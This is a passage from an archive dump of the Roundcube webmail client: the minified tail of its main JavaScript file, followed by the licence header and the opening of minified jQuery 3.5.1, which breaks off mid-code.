this.env.recent_flags;case"getunread":case"search":this.env.qsearch=null;case"list":"mail"==this.task?(is_multifolder=this.is_multifolder_listing(),list=this.message_list,uid=this.env.list_uid,this.enable_command("show","select-all","select-none",0<this.env.messagecount),this.enable_command("expunge","purge",this.env.exists&&!is_multifolder),this.enable_command("import-messages",!is_multifolder),this.enable_command("expand-all","expand-unread","collapse-all",this.env.threading&&this.env.messagecount&&!is_multifolder),list&&("list"!=response.action&&"search"!=response.action||(uid&&("FIRST"===uid?uid=list.get_first_row():"LAST"===uid?uid=list.get_last_row():list.rows[uid]||(uid+="-"+this.env.mailbox),uid&&list.rows[uid]&&list.select(uid),delete this.env.list_uid),this.enable_command("set-listmode",this.env.threads&&!is_multifolder),0<list.rowcount&&!$(document.activeElement).is("input,textarea")&&list.focus(),list.triggerEvent("select")),"getunread"!=response.action)&&this.triggerEvent("listupdate",{list:list,folder:this.env.mailbox,rowcount:list.rowcount})):"addressbook"==this.task&&(list=this.contact_list,uid=this.env.list_uid,this.enable_command("export","select-all","select-none",list&&0<list.rowcount),"list"!=response.action&&"search"!=response.action||(this.enable_command("search-create",""==this.env.source),this.enable_command("search-delete",this.env.search_id),this.update_group_commands(),list&&uid&&("FIRST"===uid?uid=list.get_first_row():"LAST"===uid&&(uid=list.get_last_row()),uid&&list.rows[uid]&&list.select(uid),delete this.env.list_uid,list.triggerEvent("select")),0<list.rowcount&&!$(document.activeElement).is("input,textarea")&&list.focus(),this.triggerEvent("listupdate",{list:list,folder:this.env.source,rowcount:list.rowcount})));break;case"list-contacts":case"search-contacts":this.contact_list&&(0<this.contact_list.rowcount&&this.contact_list.focus(),this.triggerEvent("listupdate",{list:this.contact_list,rowcount:this.contact_list.rowcount}))}response.unlock&&this.hide_message(response.unlock),this.triggerEvent("responseafter",{response:response}),this.triggerEvent("responseafter"+response.action,{response:response}),this.start_keepalive()}},this.http_error=function(e,t,s,i,n){var a=e.statusText;this.set_busy(!1,null,i),e.abort(),this.unload||(e.status&&a?this.display_message(this.get_label("servererror")+" ("+a+")","error"):"timeout"==t?this.display_message("requesttimedout","error"):0==e.status&&"abort"!=t&&this.display_message("connerror","error"),(i=e.getResponseHeader("Location"))&&"compose"!=this.env.action&&this.redirect(i),403==e.status?(this.is_framed()?parent:window).location.reload():"keep-alive"==n&&setTimeout(function(){ref.keep_alive(),ref.start_keepalive()},3e4))},this.session_error=function(e){this.env.server_error=401,"compose"==this.env.action?(this.save_compose_form_local(),this.compose_skip_unsavedcheck=!0,this.env.session_lifetime=0,this._keepalive&&clearInterval(this._keepalive),this._refresh&&clearInterval(this._refresh)):e&&setTimeout(function(){ref.redirect(e,!0)},2e3)},this.iframe_loaded=function(e){e=e||this.env.frame_lock,this.set_busy(!1,null,e),this.submit_timer&&clearTimeout(this.submit_timer)},this.multi_thread_http_request=function(e){var t,s,i=(new Date).getTime(),n=e.threads||1;for(e.reqid=i,e.running=0,e.requests=[],e.result=[],e._items=$.extend([],e.items),e.lock||(e.lock=this.display_message("","loading")),this.http_request_jobs[i]=e,t=0;t<n&&void 0!==(s=e._items.shift());t++)e.running++,e.requests.push(this.multi_thread_send_request(e,s));return i},this.multi_thread_send_request=function(e,t){var s,i,n;if(e.postdata){for(s in i={},e.postdata)i[s]=String(e.postdata[s]).replace("%s",t);i._reqid=e.reqid}else if("string"==typeof e.query)n=e.query.replace("%s",t),n+="&_reqid="+e.reqid;else if("object"==typeof e.query&&e.query){for(s in n={},e.query)n[s]=String(e.query[s]).replace("%s",t);n._reqid=e.reqid}return i?this.http_post(e.action,i):this.http_request(e.action,n)},this.multi_thread_http_response=function(e,t){var s=this.http_request_jobs[t];!s||s.running<=0||s.cancelled||(s.running--,s.onresponse&&"function"==typeof s.onresponse&&s.onresponse(e),s.result=$.extend(s.result,e),void 0!==(e=s._items.shift())?(s.running++,s.requests.push(this.multi_thread_send_request(s,e))):0==s.running&&(s.whendone&&"function"==typeof s.whendone&&s.whendone(s.result),this.set_busy(!1,"",s.lock),delete this.http_request_jobs[t]))},this.multi_thread_request_abort=function(e){var t=this.http_request_jobs[e];if(t){for(var s=0;0<t.running&&s<t.requests.length;s++)t.requests[s].abort&&t.requests[s].abort();t.running=0,t.cancelled=!0,this.set_busy(!1,"",t.lock)}},this.async_upload_form=function(e,t,s){var i=(new Date).getTime(),n="rcmupload"+i;return this.dummy_iframe(n).on("load",{ts:i},s),$(e).attr({target:n,action:this.url(t,{_id:this.env.compose_id||"",_uploadid:i,_from:this.env.action}),method:"POST",enctype:"multipart/form-data"}).submit(),n},this.dummy_iframe=function(e,t){return $("<iframe>").attr({name:e,src:t,style:"width:0;height:0;visibility:hidden","aria-hidden":"true"}).appendTo(document.body)},this.document_drag_hover=function(e,t){$(this.gui_objects.filedrop)[t?"addClass":"removeClass"]("active")},this.file_drag_hover=function(e,t){e.preventDefault(),e.stopPropagation(),$(this.gui_objects.filedrop)[t?"addClass":"removeClass"]("hover")},this.file_dropped=function(e){this.file_drag_hover(e,!1);var t,s=e.target.files||e.dataTransfer.files,i={_id:this.env.compose_id||this.env.cid||"",_remote:1,_from:this.env.action};s&&s.length?this.file_upload(s,i,{name:(this.env.filedrop.fieldname||"_file")+(this.env.filedrop.single?"":"[]"),single:this.env.filedrop.single,filter:this.env.filedrop.filter,action:ref.env.filedrop.action}):(s=e.dataTransfer.getData("roundcube-uri"))&&(t="upload"+(new Date).getTime(),e=$("<span>").text(e.dataTransfer.getData("roundcube-name")||this.get_label("attaching")).html(),i._uri=s,this.add2attachment_list(i._uploadid=t,{name:"",html:e,classname:"uploading",complete:!1})||(this.file_upload_id=this.set_busy(!0,"attaching")),this.http_post(this.env.filedrop.action||"upload",i))},this.file_upload=function(e,t,i){if(!window.FormData||!e||!e.length)return!1;var s,n,a,r=0,o=0,l=new FormData,c=i.name||"_file[]",h=i.single?1:e.length;for(args=$.extend({_remote:1,_from:this.env.action},t||{}),n=0;o<h&&(s=e[n]);n++)i.filter&&!s.type.match(new RegExp(i.filter))||(l.append(c,s),r+=s.size,a=s.name,o++);if(o){if(this.env.max_filesize&&this.env.filesizeerror&&r>this.env.max_filesize)return this.display_message(this.env.filesizeerror,"error"),!1;if(this.env.max_filecount&&this.env.filecounterror&&o>this.env.max_filecount)return this.display_message(this.env.filecounterror,"error"),!1;var d="upload"+(new Date).getTime(),t=1<o?this.get_label("uploadingmany"):a,t=$("<span>").text(t).html();this.add2attachment_list(d,{name:"",html:t,classname:"uploading",complete:!1})||i.lock||(i.lock=this.file_upload_id=this.set_busy(!0,"uploading")),args._uploadid=d,args._unlock=i.lock,this.uploads[d]=$.ajax({type:"POST",dataType:"json",url:this.url(i.action||"upload",args),contentType:!1,processData:!1,timeout:this.uploadTimeout,data:l,headers:{"X-Roundcube-Request":this.env.request_token},xhr:function(){var e=$.ajaxSettings.xhr();return e.upload&&ref.labels.uploadprogress&&(e.upload.onprogress=function(e){e=ref.file_upload_msg(e.loaded,e.total);e&&$("#"+d).find(".uploading").text(e)}),e},success:function(e){delete ref.uploads[d],ref.http_response(e)},error:function(e,t,s){delete ref.uploads[d],ref.remove_from_attachment_list(d),ref.http_error(e,t,s,i.lock,"attachment")}})}return!0},this.file_upload_msg=function(e,t){var s,i;if(t&&e<t)return s=Math.round(e/t*100),i=ref.get_label("uploadprogress"),1073741824<=t?(t=parseFloat(t/1073741824).toFixed(1)+" ".this.get_label("GB"),e=parseFloat(e/1073741824).toFixed(1)):1048576<=t?(t=parseFloat(t/1048576).toFixed(1)+" "+this.get_label("MB"),e=parseFloat(e/1048576).toFixed(1)):1024<=t?(t=parseInt(t/1024)+" "+this.get_label("KB"),e=parseInt(e/1024)):t=t+" "+this.get_label("B"),i.replace("$percent",s+"%").replace("$current",e).replace("$total",t)},this.start_keepalive=function(){var e;!this.env.session_lifetime||this.env.framed||this.env.extwin||"login"==this.task||"print"==this.env.action||(this._keepalive&&clearInterval(this._keepalive),e=.5*Math.min(1800,this.env.session_lifetime)*1e3,this._keepalive=setInterval(function(){ref.keep_alive()},e<3e4?3e4:e))},this.start_refresh=function(){!this.env.refresh_interval||this.env.framed||this.env.extwin||"login"==this.task||"print"==this.env.action||(this._refresh&&clearInterval(this._refresh),this._refresh=setInterval(function(){ref.refresh()},1e3*this.env.refresh_interval))},this.keep_alive=function(){this.busy||this.http_request("keep-alive")},this.refresh=function(){var e,t;this.busy?setTimeout(function(){ref.refresh(),ref.start_refresh()},1e4):(e={},t=this.set_busy(!0,"refreshing"),(e="mail"==this.task&&this.gui_objects.mailboxlist?this.check_recent_params():e)._last=Math.floor(this.env.lastrefresh.getTime()/1e3),this.env.lastrefresh=new Date,this.http_post("refresh",e,t))},this.check_recent_params=function(){var e={_mbox:this.env.mailbox};return this.gui_objects.mailboxlist&&(e._folderlist=1),this.gui_objects.quotadisplay&&(e._quota=1),this.env.search_request&&(e._search=this.env.search_request),this.gui_objects.messagelist&&(e._list=1,e._uids=$.map(this.message_list.rows,function(e,t){return t}).join(",")),e},this.quote_html=function(e){return String(e).replace(/</g,"&lt;").replace(/>/g,"&gt;").replace(/"/g,"&quot;")},this.opener=function(e,t){var s,i=window.opener;try{if(i&&!i.closed&&i!==window){if((i=e&&(!i.rcmail||i.rcmail.env.framed)&&i.parent&&i.parent.rcmail?i.parent:i).rcmail&&t)for(s in t)if(i.rcmail.env[s]!=t[s])return;return i.rcmail}}catch(e){}},this.get_single_uid=function(){var e=this.env.uid||(this.message_list?this.message_list.get_single_selection():null);return ref.triggerEvent("get_single_uid",{uid:e})||e},this.get_single_cid=function(){var e=this.env.cid||(this.contact_list?this.contact_list.get_single_selection():null);return ref.triggerEvent("get_single_cid",{cid:e})||e},this.get_message_mailbox=function(e){var t;return this.env.messages&&e&&(t=this.env.messages[e])&&t.mbox?t.mbox:/^[0-9]+-(.*)$/.test(e)?RegExp.$1:this.env.mailbox},this.params_from_uid=function(e,t){return(t=t||{})._uid=String(e).split("-")[0],t._mbox=this.get_message_mailbox(e),t},this.get_caret_pos=function(e){return void 0!==e.selectionEnd?e.selectionEnd:e.value.length},this.set_caret_pos=function(e,t){try{e.setSelectionRange&&e.setSelectionRange(t,t)}catch(e){}},this.get_input_selection=function(e){var t=0,s=0,i="";return"number"==typeof e.selectionStart&&"number"==typeof e.selectionEnd&&(i=e.value,t=e.selectionStart,s=e.selectionEnd),{start:t,end:s,text:i.substr(t,s-t)}},this.lock_form=function(e,t){e&&e.elements&&(t&&(this.disabled_form_elements=[]),$.each(e.elements,function(){"hidden"!=this.type&&(t&&this.disabled?ref.disabled_form_elements.push(this):(t||$.inArray(this,ref.disabled_form_elements)<0)&&(this.disabled=t))}))},this.mailto_handler_uri=function(){return location.href.split("?")[0]+"?_task=mail&_action=compose&_to=%s"},this.register_protocol_handler=function(e){try{window.navigator.registerProtocolHandler("mailto",this.mailto_handler_uri(),e)}catch(e){this.display_message(String(e),"error")}},this.check_protocol_handler=function(e,t){var s=window.navigator;s&&"function"==typeof s.registerProtocolHandler?"function"==typeof s.isProtocolHandlerRegistered?(s=s.isProtocolHandlerRegistered("mailto",this.mailto_handler_uri()))&&$(t).parent().find(".mailtoprotohandler-status").html(s):$(t).click(function(){return ref.register_protocol_handler(e),!1}):$(t).addClass("disabled").click(function(){return ref.display_message("nosupporterror","error"),!1})},this.browser_capabilities_check=function(){this.env.browser_capabilities||(this.env.browser_capabilities={}),$.each(["pdf","flash","tiff","webp","pgpmime"],function(){void 0===ref.env.browser_capabilities[this]&&(ref.env.browser_capabilities[this]=ref[this+"_support_check"]())})},this.browser_capabilities=function(){if(!this.env.browser_capabilities)return"";var e,t=[];for(e in this.env.browser_capabilities)t.push(e+"="+this.env.browser_capabilities[e]);return t.join()},this.tiff_support_check=function(){return this.image_support_check("tiff"),0},this.webp_support_check=function(){return this.image_support_check("webp"),0},this.image_support_check=function(t){setTimeout(function(){var e=new Image;e.onload=function(){ref.env.browser_capabilities[t]=1},e.onerror=function(){ref.env.browser_capabilities[t]=0},e.src=ref.assets_path("program/resources/blank."+t)},10)},this.pdf_support_check=function(){if("pdfViewerEnabled"in navigator)return navigator.pdfViewerEnabled?1:0;var e,t=navigator.mimeTypes?navigator.mimeTypes["application/pdf"]:{},s=/Adobe Reader|PDF|Acrobat/i;if(t&&t.enabledPlugin)return 1;for(e in navigator.plugins)if("string"==typeof(t=navigator.plugins[e])){if(s.test(t))return 1}else if(t.name&&s.test(t.name))return 1;return setTimeout(function(){$("<object>").attr({data:ref.assets_path("program/resources/dummy.pdf"),type:"application/pdf",style:'position: "absolute"; top: -1000px; height: 1px; width: 1px'}).on("load error",function(e){ref.env.browser_capabilities.pdf="load"==e.type?1:0;var t=this;setTimeout(function(){$(t).remove()},10)}).appendTo(document.body)},10),0},this.flash_support_check=function(){var e=navigator.mimeTypes?navigator.mimeTypes["application/x-shockwave-flash"]:{};if(e&&e.enabledPlugin)return 1;if("ActiveXObject"in window)try{if(new ActiveXObject("ShockwaveFlash.ShockwaveFlash"))return 1}catch(e){}return 0},this.pgpmime_support_check=function(e){return window.mailvelope?1:($(window).on("mailvelope",function(){ref.env.browser_capabilities.pgpmime=1}),0)},this.assets_path=function(e){return e=this.env.assets_path&&!e.startsWith(this.env.assets_path)?this.env.assets_path+e:e},this.set_cookie=function(e,t,s){!1===s&&(s=new Date).setYear(s.getFullYear()+1),setCookie(e,t,s,this.env.cookie_path,this.env.cookie_domain,this.env.cookie_secure)},this.get_local_storage_prefix=function(){return this.local_storage_prefix||(this.local_storage_prefix="roundcube."+(this.env.user_id||"anonymous")+"."),this.local_storage_prefix},this.local_storage_get_item=function(e,t,s){var i,n;try{i=localStorage.getItem(this.get_local_storage_prefix()+e),n=JSON.parse(i)}catch(e){}return n||t||null},this.local_storage_set_item=function(e,t,s){try{return localStorage.setItem(this.get_local_storage_prefix()+e,JSON.stringify(t)),!0}catch(e){return!1}},this.local_storage_remove_item=function(e){try{return localStorage.removeItem(this.get_local_storage_prefix()+e),!0}catch(e){return!1}},this.print_dialog=function(){setTimeout("window.print()",10)}}rcube_webmail.long_subject_title=function(e,t,s){e.title||(s=$(s||e)).width()+15*(t||0)>s.parent().width()&&(e.title=rcube_webmail.subject_text(s[0]))},rcube_webmail.long_subject_title_ex=function(e){var t,s,i,n;e.title||(i=(t=$(e)).text().trim(),s=$("span.branch",t).width()||0,n=(i=$("<span>").text(i).css({position:"absolute",float:"left",visibility:"hidden","font-size":t.css("font-size"),"font-weight":t.css("font-weight")}).appendTo(document.body)).width(),i.remove(),n+15*s>t.width()&&(e.title=rcube_webmail.subject_text(e)))},rcube_webmail.subject_text=function(e){e=$(e).clone();return e.find(".skip-on-drag,.skip-content,.voice").remove(),e.text().trim()},rcube_webmail.set_iframe_events=function(t){$("iframe").each(function(){var e=$(this);$.each(t,function(t,s){e.on("load",function(e){try{$(this).contents().on(t,s)}catch(e){}});try{e.contents().on(t,s)}catch(e){}})})},rcube_webmail.prototype.get_cookie=getCookie,rcube_webmail.prototype.addEventListener=rcube_event_engine.prototype.addEventListener,rcube_webmail.prototype.removeEventListener=rcube_event_engine.prototype.removeEventListener,rcube_webmail.prototype.triggerEvent=rcube_event_engine.prototype.triggerEvent;
PK
h�\y��.c.cprogram/js/jquery.min.jsnu�[���/**
 * jQuery - v3.5.1
 *
 * @source https://github.com/jquery/jquery/tree/3.5.1
 *
 * @licstart  The following is the entire license notice for the
 * JavaScript code in this file.
 *
 * Copyright JS Foundation and other contributors
 *
 * Licensed under the MIT licenses
 *
 * Permission is hereby granted, free of charge, to any person obtaining
 * a copy of this software and associated documentation files (the
 * "Software"), to deal in the Software without restriction, including
 * without limitation the rights to use, copy, modify, merge, publish,
 * distribute, sublicense, and/or sell copies of the Software, and to
 * permit persons to whom the Software is furnished to do so, subject to
 * the following conditions:
 *
 * The above copyright notice and this permission notice shall be
 * included in all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
 * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
 * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
 * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
 * LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
 * OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
 * WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
 *
 * @licend  The above is the entire license notice
 * for the JavaScript code in this file.
 */
/*! jQuery v3.5.1 | (c) JS Foundation and other contributors | jquery.org/license */
!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n||E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]||t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?n[o.call(e)]||"object":typeof e}var f="3.5.1",S=function(e,t){return new S.fn.init(e,t)};function p(e){var t=!!e&&"length"in e&&e.length,n=w(e);return!m(e)&&!x(e)&&("array"===n||0===t||"number"==typeof t&&0<t&&t-1 in e)}S.fn=S.prototype={jquery:f,constructor:S,length:0,toArray:function(){return s.call(this)},get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,function(e,t){return n.call(e,t,e)}))},slice:function(){return this.pushStack(s.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},even:function(){return this.pushStack(S.grep(this,function(e,t){return(t+1)%2}))},odd:function(){return this.pushStack(S.grep(this,function(e,t){return t%2}))},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(0<=n&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:u,sort:t.sort,splice:t.splice},S.extend=S.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]||{},s=1,u=arguments.length,l=!1;for("boolean"==typeof a&&(l=a,a=arguments[s]||{},s++),"object"==typeof a||m(a)||(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)r=e[t],"__proto__"!==t&&a!==r&&(l&&r&&(S.isPlainObject(r)||(i=Array.isArray(r)))?(n=a[t],o=i&&!Array.isArray(n)?[]:i||S.isPlainObject(n)?n:{},i=!1,a[t]=S.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},S.extend({expando:"jQuery"+(f+Math.random()).replace(/\D/g,""),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e||"[object Object]"!==o.call(e))&&(!(t=r(e))||"function"==typeof(n=v.call(t,"constructor")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.nonce},n)},each:function(e,t){var n,r=0;if(p(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},makeArray:function(e,t){var n=t||[];return null!=e&&(p(Object(e))?S.merge(n,"string"==typeof e?[e]:e):u.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:i.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r=[],i=0,o=e.length,a=!n;i<o;i++)!t(e[i],i)!==a&&r.push(e[i]);return r},map:function(e,t,n){var r,i,o=0,a=[];if(p(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&a.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&a.push(i);return g(a)},guid:1,support:y}),"function"==typeof Symbol&&(S.fn[Symbol.iterator]=t[Symbol.iterator]),S.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(e,t){n["[object "+t+"]"]=t.toLowerCase()});var d=function(n){var e,d,b,o,i,h,f,g,w,u,l,T,C,a,E,v,s,c,y,S="sizzle"+1*new Date,p=n.document,k=0,r=0,m=ue(),x=ue(),A=ue(),N=ue(),D=function(e,t){return e===t&&(l=!0),0},j={}.hasOwnProperty,t=[],q=t.pop,L=t.push,H=t.push,O=t.slice,P=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},R="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",M="[\\x20\\t\\r\\n\\f]",I="(?:\\\\[\\da-fA-F]{1,6}"+M+"?|\\\\[^\\r\\n\\f]|[\\w-]|[^\0-\\x7f])+",W="\\["+M+"*("+I+")(?:"+M+"*([*^$|!~]?=)"+M+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+I+"))|)"+M+"*\\]",F=":("+I+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+W+")*)|.*)\\)|)",B=new RegExp(M+"+","g"),$=new RegExp("^"+M+"+|((?:^|[^\\\\])(?:\\\\.)*)"+M+"+$","g"),_=new RegExp("^"+M+"*,"+M+"*"),z=new RegExp("^"+M+"*([>+~]|"+M+")"+M+"*"),U=new RegExp(M+"|>"),X=new RegExp(F),V=new RegExp("^"+I+"$"),G={ID:new RegExp("^#("+I+")"),CLASS:new RegExp("^\\.("+I+")"),TAG:new RegExp("^("+I+"|[*])"),ATTR:new RegExp("^"+W),PSEUDO:new RegExp("^"+F),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+M+"*(even|odd|(([+-]|)(\\d*)n|)"+M+"*(?:([+-]|)"+M+"*(\\d+)|))"+M+"*\\)|)","i"),bool:new RegExp("^(?:"+R+")$","i"),needsContext:new RegExp("^"+M+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+M+"*((?:-\\d)?\\d*)"+M+"*\\)|)(?=[^-]|$)","i")},Y=/HTML$/i,Q=/^(?:input|select|textarea|button)$/i,J=/^h\d$/i,K=/^[^{]+\{\s*\[native \w/,Z=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}"+M+"?|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t||(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10|55296,1023&n|56320))},re=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\0-\x1f\x7f-\uFFFF\w-]/g,ie=function(e,t){return t?"\0"===e?"\ufffd":e.slice(0,-1)+"\\"+e.charCodeAt(e.length-1).toString(16)+" ":"\\"+e},oe=function(){T()},ae=be(function(e){return!0===e.disabled&&"fieldset"===e.nodeName.toLowerCase()},{dir:"parentNode",next:"legend"});try{H.apply(t=O.call(p.childNodes),p.childNodes),t[p.childNodes.length].nodeType}catch(e){H={apply:t.length?function(e,t){L.apply(e,O.call(t))}:function(e,t){var n=e.length,r=0;while(e[n++]=t[r++]);e.length=n-1}}}function se(t,e,n,r){var i,o,a,s,u,l,c,f=e&&e.ownerDocument,p=e?e.nodeType:9;if(n=n||[],"string"!=typeof t||!t||1!==p&&9!==p&&11!==p)return n;if(!r&&(T(e),e=e||C,E)){if(11!==p&&(u=Z.exec(t)))if(i=u[1]){if(9===p){if(!(a=e.getElementById(i)))return n;if(a.id===i)return n.push(a),n}else if(f&&(a=f.getElementById(i))&&y(e,a)&&a.id===i)return n.push(a),n}else{if(u[2])return H.apply(n,e.getElementsByTagName(t)),n;if((i=u[3])&&d.getElementsByClassName&&e.getElementsByClassName)return H.apply(n,e.getElementsByClassName(i)),n}if(d.qsa&&!N[t+" "]&&(!v||!v.test(t))&&(1!==p||"object"!==e.nodeName.toLowerCase())){if(c=t,f=e,1===p&&(U.test(t)||z.test(t))){(f=ee.test(t)&&ye(e.parentNode)||e)===e&&d.scope||((s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=S)),o=(l=h(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(e){N(t,!0)}finally{s===S&&e.removeAttribute("id")}}}return g(t.replace($,"$1"),e,n,r)}function ue(){var r=[];return function e(t,n){return r.push(t+" ")>b.cacheLength&&delete e[r.shift()],e[t+" "]=n}}function le(e){return e[S]=!0,e}function ce(e){var t=C.createElement("fieldset");try{return!!e(t)}catch(e){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function fe(e,t){var n=e.split("|"),r=n.length;while(r--)b.attrHandle[n[r]]=t}function pe(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&e.sourceIndex-t.sourceIndex;if(r)return r;if(n)while(n=n.nextSibling)if(n===t)return-1;return e?1:-1}function de(t){return function(e){return"input"===e.nodeName.toLowerCase()&&e.type===t}}function he(n){return function(e){var t=e.nodeName.toLowerCase();return("input"===t||"button"===t)&&e.type===n}}function ge(t){return function(e){return"form"in e?e.parentNode&&!1===e.disabled?"label"in e?"label"in e.parentNode?e.parentNode.disabled===t:e.disabled===t:e.isDisabled===t||e.isDisabled!==!t&&ae(e)===t:e.disabled===t:"label"in e&&e.disabled===t}}function ve(a){return le(function(o){return o=+o,le(function(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ye(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e.namespaceURI,n=(e.ownerDocument||e).documentElement;return!Y.test(t||n&&n.nodeName||"HTML")},T=se.setDocument=function(e){var t,n,r=e?e.ownerDocument||e:p;return r!=C&&9===r.nodeType&&r.documentElement&&(a=(C=r).documentElement,E=!i(C),p!=C&&(n=C.defaultView)&&n.top!==n&&(n.addEventListener?n.addEventListener("unload",oe,!1):n.attachEvent&&n.attachEvent("onunload",oe)),d.scope=ce(function(e){return a.appendChild(e).appendChild(C.createElement("div")),"undefined"!=typeof e.querySelectorAll&&!e.querySelectorAll(":scope fieldset div").length}),d.attributes=ce(function(e){return e.className="i",!e.getAttribute("className")}),d.getElementsByTagName=ce(function(e){return e.appendChild(C.createComment("")),!e.getElementsByTagName("*").length}),d.getElementsByClassName=K.test(C.getElementsByClassName),d.getById=ce(function(e){return a.appendChild(e).id=S,!C.getElementsByName||!C.getElementsByName(S).length}),d.getById?(b.filter.ID=function(e){var t=e.replace(te,ne);return function(e){return e.getAttribute("id")===t}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n=t.getElementById(e);return n?[n]:[]}}):(b.filter.ID=function(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((n=o.getAttributeNode("id"))&&n.value===e)return[o];i=t.getElementsByName(e),r=0;while(o=i[r++])if((n=o.getAttributeNode("id"))&&n.value===e)return[o]}return[]}}),b.find.TAG=d.getElementsByTagName?function(e,t){return"undefined"!=typeof t.getElementsByTagName?t.getElementsByTagName(e):d.qsa?t.querySelectorAll(e):void 0}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagName(e);if("*"===e){while(n=o[i++])1===n.nodeType&&r.push(n);return r}return o},b.find.CLASS=d.getElementsByClassName&&function(e,t){if("undefined"!=typeof t.getElementsByClassName&&E)return t.getElementsByClassName(e)},s=[],v=[],(d.qsa=K.test(C.querySelectorAll))&&(ce(function(e){var t;a.appendChild(e).innerHTML="<a id='"+S+"'></a><select id='"+S+"-\r\\' msallowcapture=''><option selected=''></option></select>",e.querySelectorAll("[msallowcapture^='']").length&&v.push("[*^$]="+M+"*(?:''|\"\")"),e.querySelectorAll("[selected]").length||v.push("\\["+M+"*(?:value|"+R+")"),e.querySelectorAll("[id~="+S+"-]").length||v.push("~="),(t=C.createElement("input")).setAttribute("name",""),e.appendChild(t),e.querySelectorAll("[name='']").length||v.push("\\["+M+"*name"+M+"*="+M+"*(?:''|\"\")"),e.querySelectorAll(":checked").length||v.push(":checked"),e.querySelectorAll("a#"+S+"+*").length||v.push(".#.+[+~]"),e.querySelectorAll("\\\f"),v.push("[\\r\\n\\f]")}),ce(function(e){e.innerHTML="<a href='' disabled='disabled'></a><select disabled='disabled'><option/></select>";var 